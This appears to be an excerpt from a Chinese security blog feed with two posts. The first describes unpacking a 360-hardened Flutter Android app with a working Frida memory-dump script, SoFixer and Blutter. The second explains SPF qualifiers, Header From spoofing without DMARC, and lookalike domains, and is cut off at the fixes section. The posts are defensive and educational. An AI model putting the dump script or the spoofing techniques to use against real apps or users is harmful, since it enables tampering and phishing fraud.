&lt;p&gt;&lt;code&gt;/data/app/~~xxx/cn.com.ljzitc.../lib/arm64/libapp.so&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;libapp.so？这是一个非标准的 SO 命名。&lt;/p&gt;
&lt;p&gt;我立刻解压了原始 APK，打开 lib/arm64-v8a/ 目录。&lt;/p&gt;
&lt;p&gt;那一刻，真相大白：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764210708244-1c4521.msmgYLji.png&amp;#x26;w=807&amp;#x26;h=389&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;libflutter.so   &amp;#x3C;-- 引擎
libapp.so       &amp;#x3C;-- 业务代码

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这是一个 Flutter 应用！&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;最终结论&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;为什么 DEX 是空的？&lt;/strong&gt;  因为 Flutter 应用的业务逻辑（Dart 代码）是 AOT 编译成机器码放在 &lt;code&gt;libapp.so&lt;/code&gt; 里的。DEX 里只有 Java 层的启动引导代码，本来就没多少东西。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;360 保护了什么？&lt;/strong&gt;  360 确实加了壳，但它主要保护的是 Java 层（虽然没啥用）和 &lt;strong&gt;加密了&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;libapp.so&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我的错误&lt;/strong&gt;：我一直在试图脱掉它的衣服找肉体，结果发现衣服下面是机械骨骼,完全就是搞错对象了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一步行动：&lt;/p&gt;
&lt;p&gt;放弃 DEX，放弃 FART。&lt;/p&gt;
&lt;p&gt;目标锁定：libapp.so。我们需要从内存中 Dump 出这个文件，然后进行 Dart 逆向。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;我们将视角从 Java 层的死胡同拉出来，正式进入 Native 层与 Flutter 虚拟机的深水区。这一部分的战斗更加硬核，涉及到内存黑洞、环境依赖地狱以及指针修正等底层细节。&lt;/p&gt;
&lt;p&gt;历经千辛万苦利用暴力提权脚本 Dump 出了 DEX 文件，结果发现全是空壳。通过分析文件残留字符串，我确认这是一个 Flutter 应用。真正的业务逻辑藏在 Native 层的 libapp.so 中。&lt;/p&gt;
&lt;p&gt;~~现在的任务很明确：~~&lt;strong&gt;~~拿到~~&lt;/strong&gt;  ~~&lt;strong&gt;&lt;strong&gt;~~&lt;code&gt;libapp.so&lt;/code&gt;~~&lt;/strong&gt;&lt;/strong&gt;~~   ~~&lt;strong&gt;-&gt;&lt;/strong&gt;~~   ~~&lt;strong&gt;还原 Dart 代码 -&gt;&lt;/strong&gt;~~   ~~&lt;strong&gt;Hook 获取明文。&lt;/strong&gt;~~&lt;/p&gt;
&lt;p&gt;但这在 Android 16 + 360 加固的组合拳下，比我想象的难得多。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第二阶段:0x01 尝试1：提取 libapp.so 的三大难关&lt;/h2&gt;
&lt;p&gt;360 加固对 SO 文件的保护通常是“压缩 + 加密 + 内存加载”。直接解压 APK 得到的是加密文件，必须从内存中 Dump。&lt;/p&gt;
&lt;p&gt;写了一个 Frida 脚本去 Dump，结果脚本刚跑起来就崩了。&lt;/p&gt;
&lt;h3&gt;难关一：API 的“失踪”&lt;/h3&gt;
&lt;p&gt;在 Android 16 上，Frida 常用的 Module.findBaseAddress(&quot;libapp.so&quot;) 竟然抛出了 TypeError: not a function 或者找不到模块。&lt;/p&gt;
&lt;p&gt;原因：Android 16 对 Linker 做了一些改动，导致 Frida 的部分上层 API 兼容性出现问题。&lt;/p&gt;
&lt;p&gt;解决：我被迫使用了更底层的 Process.findModuleByName(&quot;libapp.so&quot;)，这个 API 依然坚挺。&lt;/p&gt;
&lt;h3&gt;难关二：内存“黑洞”&lt;/h3&gt;
&lt;p&gt;解决了基址问题后，我尝试读取整个 SO 文件大小的内存 (readByteArray(module.size))。结果脚本再次崩溃，报错 Access Violation。&lt;/p&gt;
&lt;p&gt;原因：360 加固，它加载 SO 后，会把 ELF 头（Header）或者某些不用的 Section 所在的内存页取消映射或者设为不可读。试图一口气读完整个文件，只要碰到这几页“黑洞”，就会引发崩溃。&lt;/p&gt;
&lt;p&gt;对策：分块容错读取（Chunked Dump）&lt;/p&gt;
&lt;p&gt;我重写了脚本，像切香肠一样，每次只读 4KB（一页）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;读到了？写入文件。&lt;/li&gt;
&lt;li&gt;读不到（报错）？填入 4KB 的 0x00 占位，跳过这一页。&lt;br&gt;
这样既保证了文件不崩，又保证了偏移量（Offset）不乱——这对后续分析至关重要。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;难关三：无处安放的“家”&lt;/h3&gt;
&lt;p&gt;脚本想把文件写到 /data/local/tmp，结果报错 Permission denied。&lt;/p&gt;
&lt;p&gt;原因：Android 16 的 SELinux 策略到了变态的地步，普通 APP 进程（Frida 注入后属于 APP 进程）根本无权写入这个公共目录。&lt;/p&gt;
&lt;p&gt;解决：利用 Java 反射获取 APP 自己的私有目录 getFilesDir()，回自己家写文件总没人管了吧！&lt;/p&gt;
&lt;h3&gt;🎯 最终成果脚本 (&lt;code&gt;dump_so_final.js&lt;/code&gt;)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;var target_so = &quot;libapp.so&quot;;

Java.perform(function() {
    // 1. 兼容性查找模块
    var module = Process.findModuleByName(target_so);
    
    // 2. 获取私有目录路径 (Android 16 避坑)
    var currentApp = Java.use(&quot;android.app.ActivityThread&quot;).currentApplication();
    var save_path = currentApp.getApplicationContext().getFilesDir().getAbsolutePath() + &quot;/&quot; + target_so + &quot;.dump&quot;;
    var file = new File(save_path, &quot;wb&quot;);

    // 3. 分块抗崩溃读取
    var currentPtr = module.base;
    var remaining = module.size;
    var pageSize = 4096;

    console.log(&quot;[*] 开始分块提取，遇到坏块自动填0...&quot;);
    while (remaining &gt; 0) {
        try {
            var buffer = currentPtr.readByteArray(pageSize);
            file.write(buffer);
        } catch (e) {
            // 遇到 360 挖的坑，填 0 补齐，保持偏移量正确
            file.write(new Uint8Array(pageSize).buffer);
        }
        currentPtr = currentPtr.add(pageSize);
        remaining -= pageSize;
    }
    file.close();
    console.log(&quot;[Success] 提取完成！路径: &quot; + save_path);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行脚本后，我通过 Root 权限将这个 13MB 的文件从私有目录 &lt;code&gt;cp&lt;/code&gt; 到了 SD 卡，终于把它拿到了电脑上。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 尝试2：Blutter 与环境的配置&lt;/h2&gt;
&lt;p&gt;拿到了 &lt;code&gt;libapp.so.dump&lt;/code&gt;，但这只是二进制机器码（Dart AOT Snapshot）。如果不还原符号，这就跟看天书一样。我需要 &lt;strong&gt;Blutter&lt;/strong&gt; 帮我把机器码翻译回 Dart 伪代码。&lt;/p&gt;
&lt;h3&gt;Windows 环境的“劝退”&lt;/h3&gt;
&lt;p&gt;我首先在 Windows 上尝试运行 Blutter。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CMake Error&lt;/code&gt;: 找不到编译器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ninja not found&lt;/code&gt;: 找不到构建工具。&lt;/li&gt;
&lt;li&gt;最绝望的是 &lt;code&gt;Failed to find all ICU components&lt;/code&gt;。Dart VM 的编译依赖 ICU 库，在 Windows 上配置这个简直是噩梦。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;决策：不要在 Windows 上浪费生命配置环境。&lt;/p&gt;
&lt;p&gt;果断打开了 kali。Linux 下配环境只需要一行命令：&lt;/p&gt;
&lt;p&gt;Bash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 一键安装所有编译依赖
sudo apt update &amp;#x26;&amp;#x26; sudo apt install -y ninja-build build-essential cmake pkg-config libicu-dev git
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;修复与分析&lt;/h3&gt;
&lt;p&gt;因为文件是从内存 Dump 的，ELF 头部是损坏的，直接喂给 Blutter 会报错。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;修复头&lt;/strong&gt;：使用 &lt;code&gt;SoFixer&lt;/code&gt; 工具：&lt;code&gt;SoFixer -s libapp.so.dump -o libapp.so&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;准备引擎&lt;/strong&gt;：从原始 APK 解压出 &lt;code&gt;libflutter.so&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开始分析&lt;/strong&gt;：&lt;code&gt;python3 blutter.py input output&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;看着 kali 终端里滚动的进度条，我知道稳了。&lt;/p&gt;
&lt;p&gt;几分钟后，output/asm 目录下出现了一堆熟悉的文件名：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;loginPwd.dart&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;encrypt.dart&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Authentication.dart&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764210708300-41498a.Cja78aSf.png&amp;#x26;w=1233&amp;#x26;h=525&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;打开 loginPwd.dart，我不仅看到了逻辑结构，还看到了关键信息：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764210708359-71febc.BOaPneq-.png&amp;#x26;w=1355&amp;#x26;h=979&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x03 最终：我没辙了&lt;/h2&gt;
&lt;p&gt;准备动态加载 JS 呢进行调试呢。搞来搞去怎么样也不对，登录之后获取 hexdump 获取不到明文的返回，放弃了。&lt;br&gt;
~~我本身抓包的参数就是明文，一开始的出发点也只是审计代码漏洞，没想到越跑越歪。~~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764210708445-61df22.BT1-ixRk.png&amp;#x26;w=1481&amp;#x26;h=850&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现后面有些困难了，中间丢失了一些图和内容。。我也忘记了。&lt;/p&gt;
&lt;p&gt;总之坑点在于，看到 Flutter 后，就干脆跑路吧，Flutter 编译后，只能 hook 二进制流 dump 出来。&lt;/p&gt;
&lt;p&gt;这玩意可能无解了，这还加固什么劲?&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;📝 复盘总结&lt;/h2&gt;
&lt;p&gt;回看整个过程，如果一开始我就知道它是 Flutter，我完全可以跳过第一章和第二章的几十个小时折腾。&lt;/p&gt;
&lt;p&gt;这次逆向最大的教训是：&lt;strong&gt;不要在错误的战场浪费时间。&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;识别架构&lt;/strong&gt;：如果 DEX 脱出来是空的，第一时间检查 &lt;code&gt;lib&lt;/code&gt; 目录有没有 &lt;code&gt;libflutter.so&lt;/code&gt; 或 &lt;code&gt;libcocos.so&lt;/code&gt;。如果是 Flutter，直接放弃 Java 层分析。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境适配&lt;/strong&gt;：Android 16 对 Frida 的兼容性很不友好。当标准 API (&lt;code&gt;Module.findBaseAddress&lt;/code&gt;) 失效时，要灵活尝试底层 API (&lt;code&gt;Process&lt;/code&gt;)。当公共目录写不进去时，要想到利用 App 的私有目录。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工具链组合&lt;/strong&gt;：Frida (动态提取) + SoFixer (修复头) + Blutter (还原符号) 。&lt;/li&gt;
&lt;/ol&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>有关SPF邮件信息伪造的内容</title><link>https://astro-pure.js.org/blog/spf-email-spoofing</link><guid isPermaLink="true">https://astro-pure.js.org/blog/spf-email-spoofing</guid><description>有关SPF邮件信息伪造的内容</description><pubDate>Fri, 02 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;为什么我能假冒你们 CEO 发邮件？（即便你以此为豪配置了 SPF）&lt;/h2&gt;
&lt;p&gt;很简单的一件事，就是客户的域名配置了SPF，但是给的是软策略，基本上邮件都能通过，今天被监管通报了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1765777674454-0df763.DdcKmcwe.png&amp;#x26;w=895&amp;#x26;h=445&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;大概差不多就是这样吧，图是我后面补的。&lt;/p&gt;
&lt;p&gt;关于邮件这一块我也了解得不深，基本不会遇到这种有效的漏洞，这次恰好测试就干脆记录一下。&lt;/p&gt;
&lt;p&gt;有关SPF的查询，可以到这里进行：&lt;a href=&quot;https://www.site24x7.cn/zhcn/tools/spf-validator.html&quot;&gt;https://www.site24x7.cn/zhcn/tools/spf-validator.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1765777674575-c5c1d0.9TYDchLC.png&amp;#x26;w=1881&amp;#x26;h=1014&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;状态会有4种，大概解释一下。&lt;/p&gt;
&lt;p&gt;这四个符号（-, ~, ?, +）被称为 SPF 限定符 (Qualifiers)，它们决定了“当发信 IP 不在允许列表中时，接收方该怎么处理”。&lt;/p&gt;
&lt;p&gt;我们可以把邮件服务器比作小区的保安，IP 地址就是访客的身份证。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;SPF的四种状态码&lt;/h3&gt;
&lt;h4&gt;1. Hard Fail&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;-all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;：&lt;strong&gt;硬拒绝&lt;/strong&gt;。只有列表里的 IP 能发，其他的全是伪造，直接拒收。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保安视角&lt;/strong&gt;：“我手里有一份白名单。只有名单上的人能进。**所有不在名单上的人，直接拿棍子打出去！**连门都不让进。”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果&lt;/strong&gt;：邮件直接被 SMTP 层级拒绝（550 Error），发件人会收到退信。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;举例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;v=spf1 ip4:1.1.1.1 -all
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- **攻击**：黑客用 IP
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2.2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪造邮件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **结果**：QQ/Gmail 服务器说：“你不是 1.1.1.1，并且策略是 -all，**滚**。”
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. Soft Fail&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;~all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;：&lt;strong&gt;软拒绝&lt;/strong&gt;。不在列表里的 IP 也能发，但会被标记为“可疑”或垃圾邮件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保安视角&lt;/strong&gt;：“我手里有白名单。不在名单上的人...我想拦，但我老板（管理员）怕拦错了客户。行吧，&lt;strong&gt;你进去吧，但我在你背上贴个条子：‘此人可疑’&lt;/strong&gt; 。”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果&lt;/strong&gt;：邮件会被接收，但极大概率进入&lt;strong&gt;垃圾箱&lt;/strong&gt;，或者显示红色警告。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;举例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;v=spf1 ip4:1.1.1.1 ~all
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- **攻击**：黑客用 IP
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2.2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪造邮件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **结果**：能够发送成功，但受害者的收件箱里会显示“此邮件可能不是由 info@domain.com 发送的”，或者直接躺在垃圾箱里。这是目前互联网最常见的配置（为了防止误杀）。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. Neutral&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;?all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;：&lt;strong&gt;中立&lt;/strong&gt;。不做任何声明。不管 IP 在不在列表里，我都“不置可否”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保安视角&lt;/strong&gt;：“我手里没有名单，或者说我懒得管。&lt;strong&gt;你是谁？我不知道。能不能进？你自己问屋里人去。&lt;/strong&gt; ”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果&lt;/strong&gt;：SPF 检查结果是 Neutral，邮件通常会被放行进入收件箱（除非内容本身太像垃圾邮件）。这等于配置了个寂寞。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;举例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;v=spf1 ip4:1.1.1.1 ?all
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- **攻击**：黑客用 IP
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2.2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪造邮件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **结果**：大摇大摆进入收件箱，不做任何拦截。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4. Allow All&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;+all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义&lt;/strong&gt;：&lt;strong&gt;全通过&lt;/strong&gt;。任何 IP 都是合法的发件人。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保安视角&lt;/strong&gt;：“&lt;strong&gt;大门敞开！谁都可以进！&lt;/strong&gt;  面具人、强盗、骗子，统统欢迎！”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果&lt;/strong&gt;：任何黑客都可以完美伪造你的域名，且 SPF 检查结果是 &lt;strong&gt;PASS&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;举例&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;v=spf1 +all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(极少见，除非是测试或者蜜罐)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **攻击**：黑客用 IP
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2.2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪造邮件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **结果**：邮件不仅进了收件箱，而且系统还告诉用户“这封邮件是通过 SPF 安全验证的哦”。**这是极度危险的配置错误。**
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;| 符号 | 模式 | 伪造难度 | 后果 | 推荐度 |
| --- | --- | --- | --- | --- |
| &lt;strong&gt;-all&lt;/strong&gt; | &lt;strong&gt;Hard Fail&lt;/strong&gt; | ⭐⭐⭐⭐⭐ (极高) | 直接拒收 | &lt;strong&gt;推荐&lt;/strong&gt; (只要确保 IP 没漏填) |
| &lt;strong&gt;~all&lt;/strong&gt; | &lt;strong&gt;Soft Fail&lt;/strong&gt; | ⭐⭐⭐ (一般) | 进垃圾箱 | &lt;strong&gt;过渡期推荐&lt;/strong&gt; |
| &lt;strong&gt;?all&lt;/strong&gt; | &lt;strong&gt;Neutral&lt;/strong&gt; | ⭐ (极低) | 进收件箱 | 不推荐 |
| &lt;strong&gt;+all&lt;/strong&gt; | &lt;strong&gt;Pass&lt;/strong&gt; | ☠️ (无) | &lt;strong&gt;SPF Pass&lt;/strong&gt; | &lt;strong&gt;绝对禁止&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;很遗憾的就是客户设置的就是 &lt;strong&gt;~all  导致邮箱伪造发信人通过。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;后来测试已经-all。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1765777674790-e49278.DYZ4z-ys.png&amp;#x26;w=1454&amp;#x26;h=145&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;另外一种绕过可能：&lt;/h3&gt;
&lt;p&gt;我们域名早在八百年前就配了 SPF &lt;code&gt;v=spf1 ... -all&lt;/code&gt;，硬拒绝策略！稳得很。&lt;/p&gt;
&lt;p&gt;真的如此吗？&lt;/p&gt;
&lt;p&gt;虽然 &lt;code&gt;-all&lt;/code&gt; 防御了直接的 SPF 欺骗，但作为安全工程师，你必须知道单纯的 SPF &lt;code&gt;-all&lt;/code&gt; 依然存在被绕过的可能，这就是为什么还需要 &lt;strong&gt;DMARC&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绕过场景（Header From 欺骗）：&lt;/strong&gt; 如果攻击者稍微聪明一点，使用以下配置发送邮件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Envelope From (信封发件人/Return-Path)&lt;/strong&gt; : &lt;code&gt;attacker@evil-domain.com&lt;/code&gt; (攻击者自己的域名，且攻击者IP在 &lt;code&gt;evil-domain.com&lt;/code&gt; 的 SPF 允许列表中 —— &lt;strong&gt;SPF 检查通过&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Header From (邮件头显示的发件人)&lt;/strong&gt; : &lt;code&gt;admin@baidu.com&lt;/code&gt; (你的域名)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;结果：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;邮件接收方检查 &lt;code&gt;Envelope From&lt;/code&gt; 的 SPF，结果是 &lt;strong&gt;PASS&lt;/strong&gt;（因为查的是攻击者的域名）。&lt;/li&gt;
&lt;li&gt;用户在客户端里看到的却是 &lt;code&gt;admin@baidu.com&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;：如果没有配置 &lt;strong&gt;DMARC&lt;/strong&gt; 来强制要求“Header From”和“Envelope From”保持一致，SPF &lt;code&gt;-all&lt;/code&gt; 也无法防御这种“挂羊头卖狗肉”的欺骗。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;在邮件协议这个古老的世界里，有时候“看大门的”和“前台接待”根本不是一伙人。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;其实这也是很常见的一种邮件代发策略，简单扒一扒这个让绕过思路。&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;1. 邮件协议的“精神分裂”&lt;/h5&gt;
&lt;p&gt;要理解这个漏洞，你得先知道一个冷知识：&lt;strong&gt;SMTP 协议是 40 多年前设计的&lt;/strong&gt;。那个年代的互联网全是君子，大家互相信任，压根没考虑过有人会撒谎。&lt;/p&gt;
&lt;p&gt;所以，SMTP 在设计上把“信封”和“信纸”完全分开了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;信封上的发件人 (Envelope Sender)&lt;/strong&gt; ：这是给邮局（邮件服务器）看的，用来决定退信退给谁。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;技术黑话叫&lt;/em&gt; &lt;strong&gt;&lt;code&gt;MAIL FROM&lt;/code&gt;&lt;/strong&gt; &lt;em&gt;。&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信纸上的落款 (Header From)&lt;/strong&gt; ：这是给收信人（你我）看的，显示在 outlook 或手机屏幕上。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;技术黑话叫&lt;/em&gt; &lt;strong&gt;&lt;code&gt;From&lt;/code&gt;&lt;/strong&gt; &lt;em&gt;。&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;漏洞就在这儿：&lt;/strong&gt;  现有的 SPF 检查，就像是一个看大门的保安。他非常尽职，但他&lt;strong&gt;只检查信封&lt;/strong&gt;。 只要快递员（发送方服务器）拿的信封是合法的（比如我用网易账号发信，信封写的是网易，网易服务器当然认可），保安就放行了：“进去吧，没毛病。”&lt;/p&gt;
&lt;p&gt;至于信封里面的信纸上，落款写的是“马化腾”还是“丁磊”，保安&lt;strong&gt;压根不看&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这就是为什么我能绕过你的 SPF：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;我的信封&lt;/strong&gt;：用我的网易账号 (&lt;code&gt;XXXX@163.com&lt;/code&gt;) —— &lt;strong&gt;SPF 检查通过！&lt;/strong&gt;  (因为我确实拥有这个账号)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我的信纸&lt;/strong&gt;：写上你们公司 CEO 的名字 (&lt;code&gt;admin@baidu.com&lt;/code&gt;) —— &lt;strong&gt;用户被骗！&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就叫“&lt;strong&gt;挂羊头卖狗肉&lt;/strong&gt;”。&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;2. 红队视角：花式绕过姿势&lt;/h5&gt;
&lt;p&gt;其实，只要你没上 DMARC，你在红队眼里基本就是裸奔。除了上面这种最经典的“信头欺骗”，我们还有很多好玩的手段。&lt;/p&gt;
&lt;h6&gt;姿势一：“我帮朋友代发”&lt;/h6&gt;
&lt;p&gt;当你用 Outlook 或者手机收邮件时，有时候会看到一行灰色小字：“由 xxx 代发”。 这是邮件客户端良心发现，看到了信封和信纸不一致，特意提醒你。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1765777674930-656059.B9oNzlNi.png&amp;#x26;w=884&amp;#x26;h=680&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这种提醒也可以通过注册相近域名自建SMTP解决。&lt;/p&gt;
&lt;h6&gt;姿势二：视觉欺骗&lt;/h6&gt;
&lt;p&gt;如果你的防御真的滴水不漏（上了 DMARC &lt;code&gt;p=reject&lt;/code&gt;），那我就不攻击你的域名了， 我去注册一个 &lt;code&gt;baidu.com.cn&lt;/code&gt;（把中间的 &lt;code&gt;i&lt;/code&gt; 换成 &lt;code&gt;l&lt;/code&gt;）。 在手机那么小的屏幕上，加上紧张的工作节奏，有几个人能一眼看出来？ 这种域名我自己注册的，SPF、DMARC 全套我都配齐，正规得不能再正规了，当然这是后话了。&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;3. 怎么修？&lt;/h5&gt;
&lt;p&gt;别再迷信 SPF &lt;code&gt;-all&lt;/code&gt; 了，他不完全起作用。&lt;/p&gt;
&lt;p&gt;要想真正关上这扇门，你得凑齐邮件安全套：&lt;/p&gt;
